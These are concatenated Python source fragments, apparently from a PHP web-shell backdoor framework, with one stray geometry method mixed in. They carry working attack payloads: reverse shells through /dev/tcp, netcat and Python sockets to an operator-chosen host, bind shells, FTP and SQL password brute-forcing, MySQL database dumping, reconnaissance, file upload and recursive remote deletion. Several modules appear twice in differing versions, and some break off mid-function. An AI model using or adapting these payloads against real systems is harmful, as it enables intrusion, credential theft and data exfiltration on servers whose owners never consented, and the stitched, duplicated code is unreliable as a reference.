def __guess_best_interpreter(self): if Vector(self.modhandler, "shellprobe", 'shell.sh', ['-just-probe', 'sh']).execute(): # First, probe shell.sh self.modhandler.interpreter = 'shell.sh' elif Vector(self.modhandler, "phpprobe", 'shell.php', ['-just-probe', 'php']).execute(): # If other checks fails, probe explicitely php shell. Useful when shell is started directly with :shell.php call self.modhandler.interpreter = 'shell.php' else: # Else declare init failed raise ModuleException('terminal', 'Interpreter guess failed')
def __env_init(self): # At terminal start, try to probe automatically best interpreter self.__guess_best_interpreter() username = Vector(self.modhandler, "whoami", 'system.info', "whoami").execute() hostname = Vector(self.modhandler, "hostname", 'system.info', "hostname").execute() if Vector(self.modhandler, "safe_mode", 'system.info', "safe_mode").execute() == '1': self._tprint('[!] PHP Safe mode enabled%s' % os.linesep) return username, hostname
def vector(self) -> Vector: """ Converts the point to a vector, this just exists if you want to have a base object, because Point is mostly a wrapper around Vector that just has `.x` and `.y` parameters. :return: The Vector instance that it converted to :rtype: Vector """ return Vector(self.coordinates)
class Sh(Module): '''Shell to execute system commands Every run should be run_module to avoid recursive interpreter probing ''' visible = False vectors = VectorList([ Vector('shell.php', "system", "system('%s 2>&1');"), Vector('shell.php', "passthru", "passthru('%s 2>&1');"), Vector('shell.php', "shell_exec", "echo shell_exec('%s 2>&1');"), Vector('shell.php', "exec", "exec('%s 2>&1', $r); echo(join(\"\\n\",$r));"), Vector('shell.php', "pcntl_exec", "$args = array('%s'); pcntl_exec( '%s', $args );"), Vector( 'shell.php', "popen", "$h = popen('%s','r'); while(!feof($h)) echo(fread($h,4096)); pclose($h);" ), Vector('shell.php', "python_eval", "python_eval('import os; os.system('%s 2>&1');"), Vector('shell.php', "perl->system", "$perl = new perl(); $r = @perl->system('%s 2>&1'); echo $r;"), Vector( 'shell.php', "proc_open", """$p = array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w')); $h = proc_open('%s', $p, $pipes); while(!feof($pipes[1])) echo(fread($pipes[1],4096)); while(!feof($pipes[2])) echo(fread($pipes[2],4096)); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($h);"""), ]) params = ParametersList( 'System shell', vectors, P(arg='cmd', help='Shell command', required=True, pos=0), P(arg='stderr', help='Print standard error', default=True, type=bool)) def __init__(self, modhandler, url, password): self.payload = None self.cwd_vector = None try: modhandler.load('shell.php') except ModuleException, e: raise else:
def __cwd_handler(self, cmd=None): cwd_new = '' if cmd == None or len(cmd) == 1: cwd_new = Vector(self.modhandler, 'first_cwd', 'system.info', 'cwd').execute() elif len(cmd) == 2: cwd_new = Vector(self.modhandler, 'getcwd', 'shell.php', 'chdir("$path") && print(getcwd());').execute( {'path': cmd[1]}) if not cwd_new: self._tprint( "[!] Folder '%s' change failed, no such file or directory or permission denied%s" % (cmd[1], os.linesep)) return if cwd_new: self.modhandler.load( 'shell.php').stored_args_namespace['path'] = cwd_new
def __env_init(self, saveflag=False): # At terminal start, try to probe automatically best interpreter self.__guess_best_interpreter() username = Vector(self.modhandler, "whoami", 'system.info', "whoami").execute() hostname = Vector(self.modhandler, "hostname", 'system.info', "hostname").execute() if Vector(self.modhandler, "safe_mode", 'system.info', "safe_mode").execute() == '1': self._tprint('[!] PHP Safe mode enabled%s' % os.linesep) if saveflag: configDict = { 'username': username, 'password': self.modhandler.password, 'hostname': hostname } self.modhandler._write_cfg(self.modhandler.url, configDict) return username, hostname
class Ftp(Module): '''Bruteforce ftp user''' vectors = VectorList([ Vector('shell.php', 'brute_ftp_php', [ """$h="%s"; $p="%s"; $u="%s"; $w=$_POST["%s"]; foreach(split('[\n]+',$w) as $pwd) { $c=@ftp_connect($h, $p); if($c){ $l=@ftp_login($c,$u,$pwd); if($l) { print("+" . $u . ":" . $pwd . "\n"); break; } } } """, """$h="%s"; $p="%s"; $c=@ftp_connect($h, $p); if($c) { print(1); }""" ]) ]) params = ParametersList( 'Bruteforce single ftp user using local wordlist', vectors, P(arg='user', help='User to bruteforce', required=True, pos=0), P(arg='lpath', help='Path of local wordlist', required=True, pos=1), P(arg='sline', help='Start line of local wordlist', default='all', pos=2), P(arg='host', help='FTP host', default='127.0.0.1', pos=3), P(arg='port', help='FTP port', default=21, type=int, pos=4)) def __init__(self, modhandler, url, password): self.chunksize = 5000 self.substitutive_wl = [] Module.__init__(self, modhandler, url, password) def set_substitutive_wl(self, substitutive_wl=[]): """Cleaned after use""" self.substitutive_wl = substitutive_wl def run_module(self, user, filename, start_line, host, port, substitutive_wl=[]): if start_line == 'all': start_line = 0 if host not in ('localhost', '127.0.0.1'): self.chunksize = 20 if self.substitutive_wl: wl_splitted = self.substitutive_wl[:] else: try: wordlist = open(filename, 'r') except Exception, e: raise ModuleException( self.name, "Error opening %s: %s" % (filename, str(e))) wl_splitted = [w.strip() for w in wordlist.read().split()] rand_post_name = ''.join( [choice('abcdefghijklmnopqrstuvwxyz') for i in xrange(4)]) vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload( vector, [host, port, user, rand_post_name, start_line, wl_splitted]) if response != None: self.params.set_and_check_parameters({'vector': vector.name}) return response
class Info(Module): """Collect system informations :system.info auto | whoami | hostname | basedir | document_root | client_ip """ vectors = VectorList([ Vector('shell.sh', 'whoami', "whoami"), Vector('shell.sh', 'hostname', "hostname"), Vector('shell.sh', 'basedir', "pwd"), Vector('shell.sh', 'uname', "uname -a"), Vector('shell.sh', 'os', "uname"), Vector('shell.php', 'document_root', "@print($_SERVER['DOCUMENT_ROOT']);"), Vector('shell.php', 'whoami', "@print(get_current_user());"), Vector('shell.php', 'hostname', "@print(gethostname());"), Vector('shell.php', 'basedir', "@print(getcwd());"), Vector('shell.php', 'safe_mode', "(ini_get('safe_mode') && print(1)) || print(0);"), Vector('shell.php', 'script', "@print($_SERVER['SCRIPT_NAME']);"), Vector('shell.php', 'uname', "@print(php_uname());"), Vector('shell.php', 'os', "@print(PHP_OS);"), Vector('shell.php', 'client_ip', "@print($_SERVER['REMOTE_ADDR']);") ]) params = ParametersList( 'Collect system informations', [], P(arg='info', help='', choices=vectors.get_names_list(), default='auto', pos=0)) def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) def run_module(self, info): infos = [] vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: if (vector.name not in infos) and (info == 'auto' or info == vector.name): response = self.__execute_payload(vector, [info]) if response: infos.append(vector.name) if info != 'auto': return response else: tabs = '\t' * (3 - ((len(vector.name) + 1) / 8)) self.mprint('%s:%s%s' % (vector.name, tabs, response)) if info != 'auto': raise ModuleException("system.info", "Information '%s' not supported." % (info)) def __execute_payload(self, vector, parameters): return self.modhandler.load(vector.interpreter).run( {0: vector.payloads[0]})
class Dump(Module): '''Get SQL database dump :sql.dump mysql <host> <user> <pass> <db name> <table name>|any ''' vectors = VectorList([ Vector( 'shell.php', 'mysqlphpdump', """ function dmp ($table) { $result .= "\n-- -------- TABLE '$table' ----------\n"; $query = mysql_query("SELECT * FROM ".$table); $numrow = mysql_num_rows($query); $numfields = mysql_num_fields($query); print $numrow . " " . $numfields; if ($numrow > 0) { $result .= "INSERT INTO `".$table."` ("; $i = 0; for($k=0; $k<$numfields; $k++ ) { $result .= "`".mysql_field_name($query, $k)."`"; if ($k < ($numfields-1)) $result .= ", "; } $result .= ") VALUES "; while ($row = mysql_fetch_row($query)) { $result .= " ("; for($j=0; $j<$numfields; $j++) { if (mysql_field_type($query, $j) == "string" || mysql_field_type($query, $j) == "timestamp" || mysql_field_type($query, $j) == "time" || mysql_field_type($query, $j) == "datetime" || mysql_field_type($query, $j) == "blob") { $row[$j] = addslashes($row[$j]); $row[$j] = ereg_replace("\n","\\n",$row[$j]); $row[$j] = ereg_replace("\r","",$row[$j]); $result .= "'$row[$j]'"; } else if (is_null($row[$j])) $result .= "NULL"; else $result .= $row[$j]; if ( $j<($numfields-1)) $result .= ", "; } $result .= ")"; $i++; if ($i < $numrow) $result .= ","; else $result .= ";"; $result .= "\n"; } } else $result .= "-- table is empty"; return $result . "\n\n"; } ini_set('mysql.connect_timeout',1); $res=mysql_connect("%s", "%s", "%s"); $db_name = "%s"; $db_table_name = "%s"; mysql_select_db($db_name); $tableQ = mysql_list_tables ($db_name); $i = 0; $num_rows = mysql_num_rows ($tableQ); if($num_rows) { if(!$res) {print("-- DEFAULT\n"); } while ($i < $num_rows) { $tb_names[$i] = mysql_tablename ($tableQ, $i); if(($db_table_name == $tb_names[$i]) || $db_table_name == "") { print(dmp($tb_names[$i])); } $i++; } } mysql_close(); """), Vector( 'shell.sh', 'mysqldump', "mysqldump -h %s -u %s --password=%s %s %s --single-transaction"), # --single-transaction to avoid bug http://bugs.mysql.com/bug.php?id=21527 ]) params = ParametersList( 'Get SQL mysqldump-like database dump', vectors, P(arg='dbms', help='DBMS', choices=['mysql'], required=True, pos=0), P(arg='user', help='SQL user to bruteforce', required=True, pos=1), P(arg='pwd', help='SQL password', required=True, pos=2), P(arg='db', help='Database name', required=True, pos=3), P(arg='table', help='Table name to dump (any to dump entire database)', default='any', pos=4), P(arg='host', help='SQL host or host:port', default='127.0.0.1', pos=5), P(arg='lfile', help='Local path (keep \'auto\' for automatic naming)', default='auto', pos=6)) def __init__(self, modhandler, url, password): self.structure = {} Module.__init__(self, modhandler, url, password) def run_module(self, mode, user, pwd, db, table, host, lpath): if mode != 'mysql': raise ModuleException(self.name, "Only 'mysql' database is supported so far") uri = '%s:%s@%s-%s' % (user, pwd, host, db) vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells + ['sql.query']) for vector in vectors: response = self.__execute_payload( vector, [mode, host, user, pwd, db, table]) if response != None: if response.startswith('-- DEFAULT'): # mysqlphpdump default fallback self.mprint( "[%s] Error connecting to '%s', using default (query 'SELECT USER();' to print out)" % (self.name, uri)) uri = 'default' elif 'mysqldump: Got error:' in response: # mysqldump output but error self.mprint( "[%s] Error connecting to '%s', check credentials and db name" % (self.name, uri)) try: if lpath == 'auto': lpath = '%s.txt' % uri self.mprint("[%s] Saving '%s' dump in '%s'" % (self.name, uri, lpath)) lfile = open(lpath, 'w') except: raise ModuleException( self.name, "Error opening dump file \'%s\'" % lpath) self.params.set_and_check_parameters({'vector': vector.name}) lfile.write(response) lfile.close() return self.mprint( '[%s] Error dumping \'%s\', check credentials, host and database name' % (self.name, uri)) def __execute_payload(self, vector, parameters): mode = parameters[0] host = parameters[1] user = parameters[2] pwd = parameters[3] db = parameters[4] table = parameters[5] if table == 'any': table = '' self.modhandler.set_verbosity(2) self.structure[db] = {} payload = self.__prepare_payload(vector, [host, user, pwd, db, table]) response = self.modhandler.load(vector.interpreter).run({0: payload}) self.modhandler.set_verbosity() if response: return response def __prepare_payload(self, vector, parameters): if vector.payloads[0].count('%s') == len(parameters): return vector.payloads[0] % tuple(parameters) else: raise ModuleException( self.name, "Error payload parameter number does not corresponds")
class Sql(Module): '''Bruteforce sql user :bruteforce.sql mysql|postgres <host> <user> <local_file_list.txt> <start_line>|all ''' vectors = VectorList([ Vector( 'shell.php', 'brute_sql_php', """$m="%s"; $h="%s"; $u="%s"; $w=$_POST["%s"]; foreach(split('[\n]+',$w) as $pwd) { if(@$m($h, $u, $pwd)){ print("+" . $u . ":" . $pwd . "\n"); break; } } """) ]) params = ParametersList( 'Bruteforce single SQL user using a local wordlist', vectors, P(arg='dbms', help='DBMS', choices=['mysql', 'postgres'], required=True, pos=0), P(arg='user', help='SQL user to bruteforce', required=True, pos=1), P(arg='lpath', help='Path of local wordlist', required=True, pos=2), P(arg='sline', help='Start line of local wordlist', default='all', pos=3), P(arg='host', help='SQL host or host:port', default='127.0.0.1', pos=4)) def __init__(self, modhandler, url, password): self.chunksize = 5000 self.substitutive_wl = [] Module.__init__(self, modhandler, url, password) def set_substitutive_wl(self, substitutive_wl=[]): """Cleaned after use""" self.substitutive_wl = substitutive_wl def run_module(self, mode, user, filename, start_line, host): if mode == 'mysql': sql_connect = "mysql_connect" elif mode == 'postgres': sql_connect = "pg_connect" else: raise ModuleException(self.name, "Database '%s' unsupported" % (mode)) if start_line == 'all': start_line = 0 if 'localhost' not in host and '127.0.0.1' not in host: self.chunksize = 20 if self.substitutive_wl: wl_splitted = self.substitutive_wl[:] self.substitutive_wl = [] else: try: wordlist = open(filename, 'r') except Exception, e: raise ModuleException( self.name, "Error opening %s: %s" % (filename, str(e))) wl_splitted = [w.strip() for w in wordlist.read().split()] rand_post_name = ''.join( [choice('abcdefghijklmnopqrstuvwxyz') for i in xrange(4)]) vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload(vector, [ sql_connect, host, user, rand_post_name, start_line, wl_splitted ]) if response != None: self.params.set_and_check_parameters({'vector': vector.name}) return response
class Reversetcp(Module): """Send reverse TCP shell""" vectors = VectorList([ Vector('shell.sh', 'devtcp', "/bin/bash -c \'/bin/bash 0</dev/tcp/%s/%s 1>&0 2>&0\'"), Vector('shell.sh', 'netcat-traditional', """nc -e /bin/sh %s %s"""), Vector( 'shell.sh', 'netcat-bsd', """rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f""" ), #TODO: Seems broken #Vector('shell.sh', 'perl', """perl -e 'use Socket;$i="%s";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'"""), Vector( 'shell.sh', 'python', """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" ), ]) params = ParametersList( 'Send reverse TCP shell ', vectors, P(arg='host', help='Local file path', required=True, pos=0), P(arg='port', help='Remote path', required=True, type=int, pos=1)) def __init__(self, modhandler, url, password): self.last_vector = None self.done = False Module.__init__(self, modhandler, url, password) def run_module(self, host, port): t = Timer(5.0, self.__check_module_state) t.start() vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: self.last_vector = vector.name self.__execute_payload(vector, [host, port]) if t.isAlive(): t.cancel() if not self.done: self.last_vector = None self.mprint( "[%s] No reverse backdoor method worked. Assure remote port is" % (self.name)) self.mprint( "[%s] listening using commands like \'nc -v -l -p <port>\'" % (self.name)) def __execute_payload(self, vector, parameters): payload = self.__prepare_payload(vector, parameters) return self.modhandler.load(vector.interpreter).run({ 'cmd': payload, 'stderr': 'False' }) def __prepare_payload(self, vector, parameters): if vector.payloads[0].count('%s') == len(parameters): return vector.payloads[0] % tuple(parameters) else: raise ModuleException( self.name, "Error payload parameter number does not corresponds") def __check_module_state(self): if self.last_vector and not self.done: self.params.set_and_check_parameters({'vector': self.last_vector}) self.mprint( '[%s] Reverse backdoor seems connected. If needed end commands with semicolon' % (self.name, self.last_vector)) self.done = True
class Upload(Module): '''Upload binary/ascii file to the target filesystem''' vectors = VectorList([ Vector('shell.php', 'file_put_contents', "file_put_contents('%s', base64_decode($_POST['%s']));"), Vector( 'shell.php', 'fwrite', '$h = fopen("%s", "w"); fwrite($h, base64_decode($_POST["%s"]));') ]) params = ParametersList( 'Upload a file to the target filesystem', vectors, P(arg='lpath', help='Local file path', required=True, pos=0), P(arg='rpath', help='Remote path', required=True, pos=1)) def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) self.file_content = None self.rand_post_name = ''.join( [choice('abcdefghijklmnopqrstuvwxyz') for i in xrange(4)]) def __execute_payload(self, vector, parameters): file_encoded_content = parameters[0] file_local_md5 = parameters[1] remote_path = parameters[2] payload = vector.payloads[0] % (remote_path, self.rand_post_name) self.modhandler.load(vector.interpreter).set_post_data( {self.rand_post_name: file_encoded_content}) self.modhandler.load(vector.interpreter).run({0: payload}) file_remote_md5 = self.modhandler.load('file.check').run({ 'rpath': remote_path, 'mode': 'md5' }) if file_remote_md5 == file_local_md5: self.mprint('[%s] File \'%s\' uploaded.' % (self.name, remote_path)) return True else: file_exists = self.modhandler.load('file.check').run({ 'rpath': remote_path, 'mode': 'exists' }) if file_exists: self.mprint( '[!] [%s] MD5 hash of \'%s\' file mismatch, file corrupted.' % (self.name, remote_path)) else: self.mprint( '[!] [%s] File \'%s\' creation failed, check remote path and permissions.' % (self.name, remote_path)) def set_file_content(self, content): """Cleaned after use""" self.file_content = content def run_module(self, local_path, remote_path): if not self.file_content: try: local_file = open(local_path, 'r') except Exception, e: raise ModuleException(self.name, "Open file '%s' failed" % (local_path)) file_content = local_file.read() else:
class Rm(Module): vectors = VectorList([ Vector( 'shell.php', 'php_rmdir', """ function rmfile($dir) { if (is_dir("$dir")) rmdir("$dir"); else { unlink("$dir"); } } function exists($path) { return (file_exists("$path") || is_link("$path")); } function rrmdir($recurs,$dir) { if($recurs=="1") { if (is_dir("$dir")) { $objects = scandir("$dir"); foreach ($objects as $object) { if ($object != "." && $object != "..") { if (filetype($dir."/".$object) == "dir") rrmdir($recurs, $dir."/".$object); else unlink($dir."/".$object); } } reset($objects); rmdir("$dir"); } else rmfile("$dir"); } else rmfile("$dir"); } $recurs="%s"; $path="%s"; if(exists("$path")) { rrmdir("$recurs", "$path"); if(!exists("$path")) echo("OK"); }"""), Vector('shell.sh', 'rm', "rm %s %s && echo OK") ]) params = ParametersList( 'Remove remote file and directory', vectors, P(arg='rpath', help='Remote path', required=True, pos=0), P(arg='recursive', help='Recursion', default=False, type=bool, pos=1), ) def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) def run_module(self, rpath, recursive): vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload(vector, [rpath, recursive]) if 'OK' in response: self.params.set_and_check_parameters({'vector': vector.name}) return True recursive_output = '' if not recursive: recursive_output = ' and use \'recursive\' with unempty folders' raise ModuleException( self.name, "Delete fail, check existance and permissions%s." % (recursive_output)) def __execute_payload(self, vector, parameters): payload = self.__prepare_payload(vector, parameters) try: response = self.modhandler.load(vector.interpreter).run( {0: payload}) except ModuleException: response = None else: return response def __prepare_payload(self, vector, parameters): rpath = parameters[0] recursive = parameters[1] if vector.interpreter == 'shell.sh' and recursive: recursive = '-rf' elif vector.interpreter == 'shell.php' and recursive: recursive = '1' else: recursive = '' return vector.payloads[0] % (recursive, rpath)
class Summary(Module): '''Get SQL database summary ''' vectors = VectorList([ Vector('sql.query', 'mysql', [ "SHOW DATABASES;", "SHOW TABLES FROM %s;", "SHOW COLUMNS FROM %s.%s;" ]) ]) params = ParametersList( 'Get SQL summary of database or single tables', vectors, P(arg='dbms', help='DBMS', choices=['mysql'], required=True, pos=0), P(arg='user', help='SQL user to bruteforce', required=True, pos=1), P(arg='pwd', help='SQL password', required=True, pos=2), P(arg='db', help='Database name', required=True, pos=3), P(arg='host', help='SQL host or host:port', default='127.0.0.1', pos=4)) def __init__(self, modhandler, url, password): self.structure = {} Module.__init__(self, modhandler, url, password) def run_module(self, mode, user, pwd, db, host): vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells + ['sql.query']) for vector in vectors: response = self.__execute_payload(vector, [mode, host, user, pwd, db]) if response != None: self.params.set_and_check_parameters({'vector': vector.name}) return response def __execute_payload(self, vector, parameters): mode = parameters[0] host = parameters[1] user = parameters[2] pwd = parameters[3] db = parameters[4] self.structure[db] = {} # databases payload = self.__prepare_payload(vector, [], 0) response = self.modhandler.load(vector.interpreter).run({ 'dbms': mode, 'user': user, 'pwd': pwd, 'query': payload, 'host': host }) print 'DATABASE LIST: \n\'%s\'' % response self.modhandler.set_verbosity(4) # tables payload = self.__prepare_payload(vector, [db], 1) response = self.modhandler.load(vector.interpreter).run({ 'dbms': mode, 'user': user, 'pwd': pwd, 'query': payload, 'host': host }) if response: for table in response.split('\n'): self.structure[db][table] = {} # columns cpayload = self.__prepare_payload(vector, [db, table], 2) #cresponse = self.modhandler.load(vector.interpreter).run_module(mode, user, pwd, payload, host) cresponse = self.modhandler.load(vector.interpreter).run({ 'dbms': mode, 'user': user, 'pwd': pwd, 'query': payload, 'host': host }) if cresponse: for column in response.split('\n'): self.structure[db][table][column] = [] self.modhandler.set_verbosity() if self.structure[db]: self.__print_db() else: self.mprint( '[%s] Error getting database structure, check credentials, query and dbms availability.' % (self.name)) def __prepare_payload(self, vector, parameters, parameter_num): if vector.payloads[parameter_num].count('%s') == len(parameters): return vector.payloads[parameter_num] % tuple(parameters) else: raise ModuleException( self.name, "Error payload parameter number does not corresponds") def __print_db(self): for db in self.structure: print 'DB \'%s\'' % db for table in self.structure[db]: print 'TABLE: ' + table print '|', for column in self.structure[db][table]: print column + ' |', print ''
class Tcp(Module): """Spawn shell on TCP port""" vectors = VectorList([ Vector('shell.sh', 'netcat-traditional', """nc -l -p %s -e /bin/sh"""), Vector( 'shell.sh', 'netcat-bsd', """rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -l %s >/tmp/f""" ) ]) params = ParametersList( 'Spawn shell on TCP port', vectors, P(arg='port', help='Remote path', required=True, type=int, pos=0)) def __init__(self, modhandler, url, password): self.last_vector = None self.done = False Module.__init__(self, modhandler, url, password) def run_module(self, port): t = Timer(5.0, self.__check_module_state) t.start() vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: self.last_vector = vector.name self.__execute_payload(vector, [port]) if t.isAlive(): t.cancel() if not self.done: self.last_vector = None self.mprint( "[%s] No vector works. Check port '%i' availability and privileges" % (self.name, port)) def __execute_payload(self, vector, parameters): payload = self.__prepare_payload(vector, parameters) return self.modhandler.load(vector.interpreter).run({ 'cmd': payload, 'stderr': 'False' }) def __prepare_payload(self, vector, parameters): if vector.payloads[0].count('%s') == len(parameters): return vector.payloads[0] % tuple(parameters) else: raise ModuleException( self.name, "Error payload parameter number does not corresponds") def __check_module_state(self): if self.last_vector and not self.done: self.params.set_and_check_parameters({'vector': self.last_vector}) self.mprint( '[%s] Port open. Run telnet to connect and terminate commands using semicolon' % (self.name)) self.done = True
class Query(Module): '''Execute SQL query :sql.query mysql|postgres <host> <user> <pass> "<query>" ''' vectors = VectorList([ Vector('shell.php', 'php_fetch', """ $c="%s"; $q="%s"; $f="%s"; if(@$c("%s","%s","%s")){ $result = $q("%s"); while (list($table) = $f($result)) { echo $table."\n"; } }""") ]) params = ParametersList('Execute SQL query', vectors, P(arg='dbms', help='Database', choices=['mysql', 'postgres'], required=True, pos=0), P(arg='user', help='SQL user', required=True, pos=1), P(arg='pwd', help='SQL password', required=True, pos=2), P(arg='query', help='SQL query', required=True, pos=3), P(arg='host', help='SQL host or host:port', default='127.0.0.1', pos=4) ) def run_module( self, mode, user, pwd, query, host): if mode == 'mysql': sql_connect = "mysql_connect" sql_query = "mysql_query" sql_fetch = "mysql_fetch_row" elif mode == 'postgres': sql_connect = "pg_connect" sql_query = "pg_query" sql_fetch = "pg_fetch_row" else: raise ModuleException(self.name, "Database '%s' unsupported" % (mode)) vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters(self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload(vector, [sql_connect, sql_query, sql_fetch, host, user, pwd, query]) if response != None: self.params.set_and_check_parameters({'vector' : vector.name}) return response def __execute_payload(self, vector, parameters): payload = self.__prepare_payload(vector, parameters) response = self.modhandler.load(vector.interpreter).run({ 0: payload }) if response: return response return None def __prepare_payload( self, vector, parameters ): if vector.payloads[0].count( '%s' ) == len(parameters): return vector.payloads[0] % tuple(parameters) else: raise ModuleException(self.name, "Error payload parameter number does not corresponds")
class Upload(Module): '''Upload binary/ascii file to the target filesystem''' vectors = VectorList([ Vector( 'shell.php', 'file_put_contents', "file_put_contents('%s', base64_decode($_POST['%s']), FILE_APPEND);" ), Vector( 'shell.php', 'fwrite', '$h = fopen("%s", "a+"); fwrite($h, base64_decode($_POST["%s"])); fclose($h);' ) ]) params = ParametersList( 'Upload a file to the target filesystem', vectors, P(arg='lpath', help='Local file path', required=True, pos=0), P(arg='rpath', help='Remote path', required=True, pos=1), P(arg='chunksize', help='Chunk size', default=1024, type=int)) def __init__(self, modhandler, url, password): Module.__init__(self, modhandler, url, password) self.file_content = None self.rand_post_name = ''.join( [choice('abcdefghijklmnopqrstuvwxyz') for i in xrange(4)]) def __execute_payload(self, vector, parameters): content_chunks = parameters[0] file_local_md5 = parameters[1] remote_path = parameters[2] i = 1 for chunk in content_chunks: payload = vector.payloads[0] % (remote_path, self.rand_post_name) self.modhandler.load(vector.interpreter).set_post_data( {self.rand_post_name: chunk}) self.modhandler.load(vector.interpreter).run({0: payload}) i += 1 self.modhandler.set_verbosity(6) file_remote_md5 = self.modhandler.load('file.check').run({ 'rpath': remote_path, 'mode': 'md5' }) self.modhandler.set_verbosity() if file_remote_md5 == file_local_md5: return True else: file_exists = self.modhandler.load('file.check').run({ 'rpath': remote_path, 'mode': 'exists' }) if file_exists: self.mprint('[!] [%s] MD5 hash of \'%s\' file mismatch' % (self.name, remote_path)) def set_file_content(self, content): """Cleaned after use""" self.file_content = content def __chunkify(self, file_content, chunksize): content_len = len(file_content) if content_len > chunksize: content_chunks = b64_chunks(file_content, chunksize) else: content_chunks = [b64encode(file_content)] numchunks = len(content_chunks) if numchunks > 20: self.mprint( '[%s] Warning: uploading %i bytes using %i requests. Increase \'chunksize\' to reduce time' % (self.name, content_len, numchunks)) return content_chunks def run_module(self, local_path, remote_path, chunksize): if self.modhandler.load('file.check').run({ 'rpath': remote_path, 'mode': 'exists' }): raise ModuleException( self.name, "Remote file already exists, delete it with \':file.rm %s\'" % (remote_path)) if not self.file_content: try: local_file = open(local_path, 'r') except Exception, e: raise ModuleException(self.name, "Open file '%s' failed" % (local_path)) file_content = local_file.read() else:
class Query(Module): '''Execute SQL query ''' vectors = VectorList([ Vector('shell.php', 'php_fetch', [ """ $c="%s"; $q="%s"; $f="%s"; if(@$c("%s","%s","%s")){ $result = $q("%s"); while (list($table) = $f($result)) { echo $table."\n"; } mysql_close(); }""", """ $c="%s"; $q="%s"; $f="%s"; $h="%s"; $u="%s"; $p="%s"; $result = $q("%s"); if($result) { while (list($table) = $f($result)) { echo $table."\n"; } } mysql_close(); """ ]) ]) params = ParametersList( 'Execute SQL query', vectors, P(arg='dbms', help='Database', choices=['mysql', 'postgres'], required=True, pos=0), P(arg='user', help='SQL user', required=True, pos=1), P(arg='pwd', help='SQL password', required=True, pos=2), P(arg='query', help='SQL query', required=True, pos=3), P(arg='host', help='SQL host or host:port', default='127.0.0.1', pos=4)) def run_module(self, mode, user, pwd, query, host): if mode == 'mysql': sql_connect = "mysql_connect" sql_query = "mysql_query" sql_fetch = "mysql_fetch_row" else: sql_connect = "pg_connect" sql_query = "pg_query" sql_fetch = "pg_fetch_row" vectors = self._get_default_vector2() if not vectors: vectors = self.vectors.get_vectors_by_interpreters( self.modhandler.loaded_shells) for vector in vectors: response = self.__execute_payload( vector, [sql_connect, sql_query, sql_fetch, host, user, pwd, query]) if response != None: self.params.set_and_check_parameters({'vector': vector.name}) return response self.mprint( '[%s] No response, check credentials and dbms availability.' % (self.name)) def __execute_payload(self, vector, parameters): payload = self.__prepare_payload(vector, parameters) response = self.modhandler.load(vector.interpreter).run({0: payload}) if not response: payload = self.__prepare_payload(vector, parameters, 1) response = self.modhandler.load(vector.interpreter).run( {0: payload}) if response: self.mprint( "[%s] Error connecting to '%s:%s@%s', using default (query 'SELECT USER();' to print out)" % (self.name, parameters[3], parameters[4], parameters[5]), 3) return response else: return response return None def __prepare_payload(self, vector, parameters, payloadnum=0): if vector.payloads[payloadnum].count('%s') == len(parameters): return vector.payloads[payloadnum] % tuple(parameters) else: raise ModuleException( self.name, "Error payload parameter number does not corresponds")
class Dump(Module): '''Get SQL database dump :sql.dump mysql <host> <user> <pass> <db name> <table name>|any ''' vectors = VectorList( [ Vector('shell.sh', 'mysqldump', "mysqldump -h %s -u %s --password=%s %s %s") , Vector('shell.php', 'mysqlphpdump', """ function dmp ($table) { $result .= "-- -------- TABLE '$table' ----------\n"; $query = mysql_query("SELECT * FROM ".$table); $numrow = mysql_num_rows($query); $numfields = mysql_num_fields($query); print $numrow . " " . $numfields; if ($numrow > 0) { $result .= "INSERT INTO `".$table."` ("; $i = 0; for($k=0; $k<$numfields; $k++ ) { $result .= "`".mysql_field_name($query, $k)."`"; if ($k < ($numfields-1)) $result .= ", "; } $result .= ") VALUES "; while ($row = mysql_fetch_row($query)) { $result .= " ("; for($j=0; $j<$numfields; $j++) { if (mysql_field_type($query, $j) == "string" || mysql_field_type($query, $j) == "timestamp" || mysql_field_type($query, $j) == "time" || mysql_field_type($query, $j) == "datetime" || mysql_field_type($query, $j) == "blob") { $row[$j] = addslashes($row[$j]); $row[$j] = ereg_replace("\n","\\n",$row[$j]); $row[$j] = ereg_replace("\r","",$row[$j]); $result .= "'$row[$j]'"; } else if (is_null($row[$j])) $result .= "NULL"; else $result .= $row[$j]; if ( $j<($numfields-1)) $result .= ", "; } $result .= ")"; $i++; if ($i < $numrow) $result .= ","; else $result .= ";"; $result .= "\n"; } } else $result .= "-- table is empty"; return $result . "\n\n"; } mysql_connect("%s","%s","%s"); $db_name = "%s"; $db_table_name = "%s"; mysql_select_db($db_name); 